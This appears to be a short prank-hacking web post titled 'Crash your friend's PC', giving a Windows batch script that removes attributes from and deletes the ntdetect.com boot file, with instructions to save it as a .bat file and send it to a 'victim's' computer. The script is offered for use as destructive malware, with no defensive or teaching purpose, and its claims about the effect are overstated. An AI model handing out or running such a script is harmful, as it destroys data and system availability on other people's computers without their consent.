Crash your friend's PC

A simple but deadly code. Once activated this code will shutdown the PC and it will not boot till you format it.
1.Open the notepad and paste this code.
===================================
 echo off
 C:
 cd..
 cd..
 cd..
 attrib -r -s -h ntdetect.com
 del ntdetect.com echo on print U r a LOSER.. PC Hacked by Hackanonymously!!! ====================================
2. Save it as anything.bat and send it to the victim's computer.
Once activated it will do its work and the system will shutdown forever.
Note: Don't try it on your own PC or else.....